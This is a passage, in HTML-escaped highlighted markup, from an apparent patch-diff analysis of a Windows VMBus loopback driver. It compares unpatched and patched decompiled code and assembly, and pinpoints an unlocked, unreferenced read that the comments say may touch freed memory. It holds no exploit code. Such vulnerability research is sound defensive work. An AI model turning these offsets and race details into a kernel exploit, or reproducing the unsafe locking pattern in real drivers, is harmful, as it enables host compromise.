&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;VmbusTlLoopbackDisconnect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ENDPOINT&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ep&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;KeEnterCriticalRegion&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ExAcquireFastMutexUnsafe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;ep&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;mutex&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;oldirql&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;KeAcquireSpinLockRaiseToDpc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;ep&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;spinlock&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// always&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ENTRY&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;A&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ep&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x2b8&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ep&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x2b8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ENTRY&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;A&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;A&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x68&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;A&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x68&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                           &lt;/span&gt;&lt;span class="c1"&gt;// always cleared&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;KeReleaseSpinLock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;ep&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;spinlock&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;oldirql&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// always&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ExReleaseFastMutexUnsafe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;ep&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;mutex&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;KeLeaveCriticalRegion&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// identical B and A teardown as above&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Finding 2 — &lt;code&gt;VmbusTlLoopbackNotifyReceiveConsumed&lt;/code&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// ==================== UNPATCHED ====================&lt;/span&gt;
&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;VmbusTlLoopbackNotifyReceiveConsumed&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ENDPOINT&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ep&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;EvaluateCurrentState&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="c1"&gt;// gate true: safe path&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;ENTRY&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;VmbusTlLoopbackReferenceEndpointDeliveryQueue&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ep&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// locked + refcounted&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;peer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x68&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;KeAcquireSpinLockRaiseToDpc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;peer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x48&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;peer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x210&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// ... release reference ...&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;                                          &lt;/span&gt;&lt;span class="c1"&gt;// gate false: legacy path&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ep&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x2b8&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="c1"&gt;// UNLOCKED, UNREFERENCED read&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;peer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x68&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="c1"&gt;// may already be freed&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;KeAcquireSpinLockRaiseToDpc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;peer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x48&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;peer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x210&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// ==================== PATCHED ====================&lt;/span&gt;
&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;VmbusTlLoopbackNotifyReceiveConsumed&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ENDPOINT&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ep&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ENTRY&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;VmbusTlLoopbackReferenceEndpointDeliveryQueue&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ep&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// always locked + refcounted&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// ... safe access with proper lock + refcount ...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;h3&gt;Finding 1 — &lt;code&gt;VmbusTlLoopbackDisconnect&lt;/code&gt; (unpatched &lt;code&gt;0x1C0006C30&lt;/code&gt;)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;----&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;prologue&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;----&lt;/span&gt;
&lt;span class="nt"&gt;00000001C0006C30&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;rax&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;rsp&lt;/span&gt;
&lt;span class="nt"&gt;00000001C0006C4D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;rbx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;endpoint&lt;/span&gt;
&lt;span class="nt"&gt;00000001C0006C50&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;dil&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;dil&lt;/span&gt;
&lt;span class="nt"&gt;00000001C0006C53&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nd"&gt;__imp_KeEnterCriticalRegion&lt;/span&gt;
&lt;span class="nt"&gt;00000001C0006C5F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;rcx&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="nx"&gt;h&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;FastMutex&lt;/span&gt;
&lt;span class="nt"&gt;00000001C0006C63&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nd"&gt;__imp_ExAcquireFastMutexUnsafe&lt;/span&gt;
&lt;span class="nt"&gt;00000001C0006C6F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;EvaluateCurrentState&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;WIL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;feature&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;gate&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;#&lt;/span&gt;&lt;span class="nn"&gt;1&lt;/span&gt;
&lt;span class="nt"&gt;00000001C0006C74&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;eax&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;eax&lt;/span&gt;
&lt;span class="nt"&gt;00000001C0006C76&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;loc_1C0006C8B&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;gate&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;false&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;skip&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;spinlock&lt;/span&gt;
&lt;span class="nt"&gt;00000001C0006C78&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;rcx&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;48&lt;/span&gt;&lt;span class="nx"&gt;h&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;SpinLock&lt;/span&gt;
&lt;span class="nt"&gt;00000001C0006C7C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nd"&gt;__imp_KeAcquireSpinLockRaiseToDpc&lt;/span&gt;
&lt;span class="nt"&gt;00000001C0006C88&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;dil&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;al&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;save&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;old&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;IRQL&lt;/span&gt;

&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;----&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;read&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nt"&gt;clear&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;pending&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;entry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;A&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;and&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;read&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;peer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;B&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;----&lt;/span&gt;
&lt;span class="nt"&gt;00000001C0006C8B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;rsi&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="nx"&gt;B8h&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;rsi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;A&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*(&lt;/span&gt;&lt;span class="nt"&gt;endpoint&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nt"&gt;0x2b8&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
